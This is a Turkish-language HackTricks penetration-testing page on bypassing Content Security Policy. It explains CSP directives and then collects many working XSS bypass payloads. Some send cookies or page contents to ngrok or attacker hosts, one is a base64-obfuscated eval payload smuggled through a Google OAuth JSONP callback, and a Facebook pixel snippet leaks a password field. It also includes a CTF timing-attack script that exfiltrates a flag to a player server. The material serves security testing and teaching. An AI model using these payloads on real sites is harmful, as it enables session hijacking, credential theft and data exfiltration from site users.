Content Security Policy (CSP) Bypass
Reading time: 29 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
CSP Nedir
Content Security Policy (CSP), esasen cross-site scripting (XSS) gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, inline kaynakları ve eval
, setTimeout
veya setInterval
gibi fonksiyonlar aracılığıyla string kodun çalıştırılmasını içerir.
CSP'nin uygulanması, yanıt başlıkları aracılığıyla veya HTML sayfasına meta öğeleri ekleyerek gerçekleştirilir. Bu politikayı izleyen tarayıcılar, bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller.
- Yanıt başlığı aracılığıyla uygulanır:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Meta etiketi aracılığıyla uygulandı:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Headers
CSP bu başlıklar kullanılarak uygulanabilir veya izlenebilir:
Content-Security-Policy
: CSP'yi uygular; tarayıcı herhangi bir ihlali engeller.Content-Security-Policy-Report-Only
: İzleme için kullanılır; ihlalleri engellemeden raporlar. Ön üretim ortamlarında test etmek için idealdir.
Defining Resources
CSP, hem aktif hem de pasif içeriğin yüklenmesi için kökenleri kısıtlar, inline JavaScript yürütmesi ve eval()
kullanımı gibi yönleri kontrol eder. Bir örnek politika:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Direktifler
- script-src: JavaScript için belirli kaynaklara izin verir, URL'ler, satır içi scriptler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen scriptler dahil.
- default-src: Belirli fetch direktifleri yoksa kaynakları almak için varsayılan bir politika belirler.
- child-src: Web işçileri ve gömülü çerçeve içerikleri için izin verilen kaynakları belirtir.
- connect-src: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar.
- frame-src: Çerçeveler için URL'leri kısıtlar.
- frame-ancestors: Geçerli sayfayı gömebilecek kaynakları belirtir,
<frame>
,<iframe>
,<object>
,<embed>
ve<applet>
gibi öğelere uygulanır. - img-src: Resimler için izin verilen kaynakları tanımlar.
- font-src:
@font-face
kullanılarak yüklenen fontlar için geçerli kaynakları belirtir. - manifest-src: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar.
- media-src: Medya nesnelerini yüklemek için izin verilen kaynakları tanımlar.
- object-src:
<object>
,<embed>
ve<applet>
öğeleri için izin verilen kaynakları tanımlar. - base-uri:
<base>
öğeleri kullanarak yükleme için izin verilen URL'leri belirtir. - form-action: Form gönderimleri için geçerli uç noktaları listeler.
- plugin-types: Bir sayfanın çağırabileceği mime türlerini kısıtlar.
- upgrade-insecure-requests: Tarayıcılara HTTP URL'lerini HTTPS'ye yeniden yazmalarını talimat verir.
- sandbox:
<iframe>
'in sandbox niteliğine benzer kısıtlamalar uygular. - report-to: Politika ihlal edilirse bir raporun gönderileceği grubu belirtir.
- worker-src: Worker, SharedWorker veya ServiceWorker scriptleri için geçerli kaynakları belirtir.
- prefetch-src: Alınacak veya önceden alınacak kaynaklar için geçerli kaynakları belirtir.
- navigate-to: Bir belgenin herhangi bir şekilde (a, form, window.location, window.open, vb.) gidebileceği URL'leri kısıtlar.
Kaynaklar
*
:data:
,blob:
,filesystem:
şemaları dışındaki tüm URL'lere izin verir.'self'
: Aynı alan adından yüklemeye izin verir.'data'
: Veriler şeması aracılığıyla kaynakların yüklenmesine izin verir (örneğin, Base64 kodlu resimler).'none'
: Herhangi bir kaynaktan yüklemeyi engeller.'unsafe-eval'
:eval()
ve benzeri yöntemlerin kullanılmasına izin verir, güvenlik nedenleriyle önerilmez.'unsafe-hashes'
: Belirli satır içi olay işleyicilerini etkinleştirir.'unsafe-inline'
: Satır içi<script>
veya<style>
gibi satır içi kaynakların kullanılmasına izin verir, güvenlik nedenleriyle önerilmez.'nonce'
: Kriptografik bir nonce (bir kez kullanılan sayı) kullanarak belirli satır içi scriptler için bir beyaz liste.- JS sınırlı yürütme varsa, sayfa içinde kullanılan bir nonce almak mümkündür
doc.defaultView.top.document.querySelector("[nonce]")
ile ve ardından kötü niyetli bir script yüklemek için yeniden kullanılabilir (strict-dynamic kullanılıyorsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebilir, bu nedenle bu gerekli değildir), örneğin:
Nonce'i yeniden kullanarak script yükle
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
'sha256-<hash>'
: Belirli bir sha256 hash'ine sahip scriptleri beyaz listeye alır.'strict-dynamic'
: Bir nonce veya hash ile beyaz listeye alınmışsa, herhangi bir kaynaktan script yüklenmesine izin verir.'host'
:example.com
gibi belirli bir hostu belirtir.https:
: URL'leri yalnızca HTTPS kullananlarla kısıtlar.blob:
: Kaynakların Blob URL'lerinden (örneğin, JavaScript ile oluşturulan Blob URL'leri) yüklenmesine izin verir.filesystem:
: Kaynakların dosya sisteminden yüklenmesine izin verir.'report-sample'
: İhlal raporunda ihlal eden kodun bir örneğini içerir (hata ayıklama için yararlıdır).'strict-origin'
: 'self' ile benzer ancak kaynakların protokol güvenlik seviyesinin belge ile eşleşmesini sağlar (yalnızca güvenli kökenler güvenli kökenlerden kaynak yükleyebilir).'strict-origin-when-cross-origin'
: Aynı köken istekleri yaparken tam URL'leri gönderir, ancak istek çapraz köken olduğunda yalnızca kökeni gönderir.'unsafe-allow-redirects'
: Hemen başka bir kaynağa yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflattığı için önerilmez.
Güvensiz CSP Kuralları
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Çalışan yük: "/><script>alert(1);</script>
self + 'unsafe-inline' Iframe'lar aracılığıyla
CSP bypass: self + 'unsafe-inline' with Iframes
'unsafe-eval'
di̇kkat
Bu çalışmıyor, daha fazla bilgi için bunu kontrol et.
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Çalışan yük:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Eğer bir şekilde izin verilen JS kodu DOM'da yeni bir script etiketi oluşturabiliyorsa ve bu izin verilen script onu oluşturuyorsa, yeni script etiketi çalıştırılmaya izin verilecektir.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Çalışan yük:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
object-src ve default-src eksikliği
[!CAUTION] > Görünüşe göre bu artık çalışmıyor
Content-Security-Policy: script-src 'self' ;
Çalışan yükler:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Dosya Yükleme + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Eğer bir JS dosyası yükleyebiliyorsanız, bu CSP'yi atlayabilirsiniz:
Çalışan yük:
"/>'><script src="/uploads/picture.png.js"></script>
Ancak, sunucunun yüklenen dosyayı doğrulama olasılığı oldukça yüksektir ve yalnızca belirli türde dosyaların yüklenmesine izin verecektir.
Ayrıca, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosya içinde JS kodu yükleyebilseniz bile (örneğin: script.png), bu yeterli olmayacaktır çünkü bazı sunucular, apache sunucusu gibi, dosyanın MIME türünü uzantıya göre seçer ve Chrome gibi tarayıcılar, bir görüntü olması gereken bir şeyin içinde Javascript kodunu çalıştırmayı reddeder. "Umarım", hatalar vardır. Örneğin, bir CTF'den öğrendiğim kadarıyla Apache, .wave uzantısını bilmemektedir, bu nedenle onu audio/* gibi bir MIME türüyle sunmaz.
Buradan, bir XSS ve dosya yüklemesi bulursanız ve yanlış yorumlanan bir uzantı bulmayı başarırsanız, o uzantıyla bir dosya yüklemeyi ve script içeriğini denemek isteyebilirsiniz. Ya da, sunucu yüklenen dosyanın doğru formatını kontrol ediyorsa, bir polyglot oluşturabilirsiniz (bazı polyglot örnekleri burada).
Form-action
Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini bir form eylemi enjekte ederek dışarı sızdırmayı deneyebilirsiniz (ve belki şifre yöneticilerinin şifreleri otomatik doldurmasını bekleyebilirsiniz). Bu raporda bir örnek bulabilirsiniz. Ayrıca, default-src
'nin form eylemlerini kapsamadığını unutmayın.
Üçüncü Taraf Uç Noktaları + ('unsafe-eval')
warning
Aşağıdaki bazı yükler için unsafe-eval
bile gerekli değildir.
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Açık bir sürümünü yükleyin angular ve rastgele JS çalıştırın:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Angular kullanarak ve window
nesnesini döndüren fonksiyonlar içeren bir kütüphane ile payloadlar (bu yazıya göz atın):
tip
Yazıda, cdn.cloudflare.com
(veya başka bir izin verilen JS kütüphaneleri deposu) üzerinden tüm kütüphaneleri yükleyebileceğiniz, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğiniz ve hangi kütüphanelerden hangi fonksiyonların window
nesnesini döndürdüğünü kontrol edebileceğiniz gösterilmektedir.
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS bir sınıf adından:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Google reCAPTCHA JS kodunu istismar etme
bu CTF yazımına göre, CSP içinde https://www.google.com/recaptcha/ istismar ederek CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Daha fazla bu yazıdan payloadlar:
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
www.google.com'u açık yönlendirme için istismar etme
Aşağıdaki URL, example.com'a yönlendirir (buradan):
https://www.google.com/amp/s/example.com/
*.google.com/script.google.com'ı istismar etme
Google Apps Script'i, script.google.com içindeki bir sayfada bilgi almak için istismar etmek mümkündür. Bunu bu raporda olduğu gibi yapabilirsiniz.
Üçüncü Taraf Uç Noktaları + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Bu tür senaryolar, script-src
'nin self
ve belirli bir beyaz listeye alınmış alan adı olarak ayarlandığı durumlarda JSONP kullanılarak atlatılabilir. JSONP uç noktaları, bir saldırganın XSS gerçekleştirmesine olanak tanıyan güvensiz geri çağırma yöntemlerine izin verir, çalışan yük:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
JSONBee farklı web sitelerinin CSP'sini atlamak için kullanılmaya hazır JSONP uç noktaları içerir.
Güvenilir uç nokta bir Açık Yönlendirme içeriyorsa aynı zafiyet meydana gelecektir çünkü başlangıç uç noktası güvenilir ise, yönlendirmeler de güvenilir kabul edilir.
Üçüncü Taraf İstismarları
Aşağıdaki gönderide açıklandığı gibi, CSP'de bir yerde izin verilen birçok üçüncü taraf alanı, verileri dışarı sızdırmak veya JavaScript kodu çalıştırmak için istismar edilebilir. Bu üçüncü taraflardan bazıları şunlardır:
Varlık | İzin Verilen Alan | Yetenekler |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
Hedefinizin CSP'sinde izin verilen alanlardan herhangi birini bulursanız, üçüncü taraf hizmetine kaydolarak CSP'yi atlayabileceğiniz ve ya verileri o hizmete dışarı sızdırabileceğiniz ya da kod çalıştırabileceğiniz ihtimali vardır.
Örneğin, aşağıdaki CSP'yi bulursanız:
Content-Security-Policy: default-src 'self’ www.facebook.com;
ve
Content-Security-Policy: connect-src www.facebook.com;
Veri sızdırmanız gerektiğinde, her zamanki gibi Google Analytics/Google Tag Manager ile yapıldığı gibi, bu genel adımları takip etmelisiniz:
- Buradan bir Facebook Geliştirici hesabı oluşturun.
- Yeni bir "Facebook Girişi" uygulaması oluşturun ve "Web Sitesi"ni seçin.
- "Ayarlar -> Temel" bölümüne gidin ve "Uygulama Kimliğinizi" alın.
- Veri sızdırmak istediğiniz hedef sitede, "customEvent" ve veri yükü aracılığıyla doğrudan Facebook SDK aracı "fbq" kullanarak veri sızdırabilirsiniz.
- Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisi, şu URL'ye benzer bir yerde bulunabilir: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
- "Test Etkinlikleri" sekmesini seçerek "sizin" web sitenizden gönderilen etkinlikleri görün.
Ardından, kurban tarafında, saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden Facebook izleme pikselini başlatmak ve şu şekilde özel bir etkinlik oluşturmak için aşağıdaki kodu çalıştırırsınız:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Diğer yedi üçüncü taraf alan adı için, önceki tabloda belirtilen, onları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki blog yazısına bakın.
RPO (Göreli Yol Üzerine Yazma) ile Bypass
Yukarıda bahsedilen yol kısıtlamalarını aşmak için yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Göreli Yol Üzerine Yazma (RPO) adı verilen başka bir teknik vardır.
Örneğin, CSP https://example.com/scripts/react/
yoluna izin veriyorsa, şu şekilde aşılabilir:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Tarayıcı nihayetinde https://example.com/scripts/angular/angular.js
dosyasını yükleyecektir.
Bu, tarayıcı için https://example.com/scripts/react/
altında bulunan ..%2fangular%2fangular.js
adlı bir dosyayı yüklüyorsunuz anlamına geldiği için çalışır; bu CSP ile uyumludur.
∑, bunu çözerek aslında https://example.com/scripts/react/../angular/angular.js
isteğinde bulunacaklar ki bu da https://example.com/scripts/angular/angular.js
ile eşdeğerdir.
Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığından yararlanarak, yol kuralları atlatılabilir.
Çözüm, sunucu tarafında %2f
'yi /
olarak değerlendirmemek ve bu sorunu önlemek için tarayıcı ve sunucu arasında tutarlı bir yorumlama sağlamaktır.
Çevrimiçi Örnek: https://jsbin.com/werevijewa/edit?html,output
Iframe'lerde JS yürütme
eksik base-uri
Eğer base-uri direktifi eksikse, bunu dangling markup injection gerçekleştirmek için kötüye kullanabilirsiniz.
Ayrıca, eğer sayfa bir script'i göreli bir yol kullanarak yüklüyorsa (örneğin <script src="/js/app.js">
) ve bir Nonce kullanıyorsanız, base etiketini kötüye kullanarak script'i kendi sunucunuzdan yüklemesini sağlayabilirsiniz ve bu bir XSS'ye yol açar.
Eğer savunmasız sayfa httpS ile yükleniyorsa, base'de bir httpS URL'si kullanın.
<base href="https://www.attacker.com/" />
AngularJS olayları
Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Bununla birlikte, AngularJS alternatif olarak özel olaylar sunar. Bir olay içinde, AngularJS, yerel tarayıcı olay nesnesini referans alan benzersiz bir nesne olan $event
sağlar. Bu $event
nesnesi, CSP'yi aşmak için kullanılabilir. Özellikle, Chrome'da, $event/event
nesnesi, olayın yürütme zincirinde yer alan nesne dizisini tutan bir path
niteliğine sahiptir ve window
nesnesi her zaman dizinin sonunda yer alır. Bu yapı, sandbox kaçış taktikleri için kritik öneme sahiptir.
Bu diziyi orderBy
filtresine yönlendirerek, üzerinde yineleme yapmak ve terminal öğeyi (yani window
nesnesini) kullanarak alert()
gibi küresel bir fonksiyonu tetiklemek mümkündür. Aşağıda gösterilen kod parçası bu süreci açıklamaktadır:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Bu snippet, ng-focus
direktifinin olayı tetiklemek için kullanımını vurgular, $event.path|orderBy
kullanarak path
dizisini manipüle eder ve alert()
fonksiyonunu çalıştırmak için window
nesnesini kullanarak document.cookie
'yi açığa çıkarır.
Diğer Angular bypass'larını bulmak için https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS ve beyaz listeye alınmış alan
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Angular JS uygulamasında script yükleme için alanları beyaz listeye alan bir CSP politikası, geri çağırma fonksiyonlarının ve belirli savunmasız sınıfların çağrılması yoluyla atlatılabilir. Bu teknikle ilgili daha fazla bilgi, bu git deposunda bulunan ayrıntılı bir kılavuzda mevcuttur.
Çalışan yükler:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Diğer JSONP keyfi yürütme uç noktaları burada bulunabilir (bazıları silindi veya düzeltildi)
Yönlendirme ile Atlatma
CSP sunucu tarafı yönlendirmesiyle karşılaştığında ne olur? Eğer yönlendirme, izin verilmeyen farklı bir kaynağa yönlendiriyorsa, yine de başarısız olacaktır.
Ancak, CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler açıklamasına göre, eğer yönlendirme farklı bir yola yönlendiriyorsa, orijinal kısıtlamaları atlayabilir.
İşte bir örnek:
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Eğer CSP https://www.google.com/a/b/c/d
olarak ayarlandıysa, yol dikkate alındığından, hem /test
hem de /a/test
scriptleri CSP tarafından engellenecektir.
Ancak, son http://localhost:5555/301
sunucu tarafında https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
olarak yönlendirilecektir. Bu bir yönlendirme olduğu için, yol dikkate alınmaz ve script yüklenebilir, böylece yol kısıtlaması aşılmış olur.
Bu yönlendirme ile, yol tamamen belirtilse bile, yine de aşılmış olacaktır.
Bu nedenle, en iyi çözüm, web sitesinin herhangi bir açık yönlendirme zafiyeti olmadığından ve CSP kurallarında istismar edilebilecek herhangi bir alan adı bulunmadığından emin olmaktır.
CSP'yi asılı işaretleme ile aşma
Buradan nasıl olduğunu okuyun.
'unsafe-inline'; img-src *; XSS aracılığıyla
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
demek, kodun içinde herhangi bir scripti çalıştırabileceğiniz anlamına gelir (XSS kodu çalıştırabilir) ve img-src *
demek, web sayfasında herhangi bir kaynaktan herhangi bir resmi kullanabileceğiniz anlamına gelir.
Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi'yi kötüye kullanır ve bir resim aracılığıyla bayrağı çıkarır):
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Bu yapılandırmayı bir resim içine yerleştirilmiş javascript kodunu yüklemek için de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, özel bir resim oluşturabilir, bunu Twitter'a yükleyebilir ve JS'yi çalıştırmak için "unsafe-inline" kullanarak (normal bir XSS gibi) resmi yükleyebilir, içinden JS'yi çıkarabilir ve çalıştırabilirsiniz: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Service Workers ile
Service workers importScripts
fonksiyonu CSP tarafından sınırlı değildir:
Politika Enjeksiyonu
Araştırma: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Eğer gönderdiğiniz bir parametre politikanın declaration kısmına yapıştırılıyorsa, o zaman politikayı işe yaramaz hale getirecek şekilde değiştirebilirsiniz. Bu bypass'lerden herhangi biri ile script 'unsafe-inline' izin verebilirsiniz:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Çünkü bu direktif mevcut script-src direktiflerini geçersiz kılacaktır.
Bir örneği burada bulabilirsiniz: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
Edge'de çok daha basit. CSP'ye sadece şunu ekleyebilirseniz: ;_
Edge tüm politikayı silip atar.
Örnek: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; XSS (iframe) aracılığıyla - Zaman saldırısı
'unsafe-inline'
direktifinin eksikliğine dikkat edin.
Bu sefer kurbanı kontrolünüzdeki bir sayfayı XSS ile yüklemeye zorlayabilirsiniz. Bu sefer kurbanın bilgi almak istediğiniz sayfaya erişmesini sağlayacaksınız (CSRF). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken zamanı kontrol edebiliyorsanız gerekli bilgiyi çıkarabilirsiniz.
Bu sefer bir bayrak çıkarılacak, her seferinde bir karakter doğru tahmin edildiğinde SQLi aracılığıyla yanıt daha fazla zaman alır çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
Via Bookmarklets
Bu saldırı, saldırganın kullanıcıyı tarayıcının yer imi üzerine bir bağlantıyı sürükleyip bırakmaya ikna etmesi anlamına gelir. Bu yer imi, kötü niyetli javascript kodu içerecek ve sürüklenip bırakıldığında veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak, CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya olanak tanıyacaktır.
Daha fazla bilgi için orijinal raporu buradan kontrol edin.
CSP'yi kısıtlayarak CSP atlatma
bu CTF yazımında, CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır. Bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından prototip kirlenmesi veya dom clobbering yoluyla farklı bir scriptin rastgele bir script yüklemesine olanak tanımaktadır.
Bir Iframe'in CSP'sini csp
niteliği ile kısıtlayabilirsiniz:
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
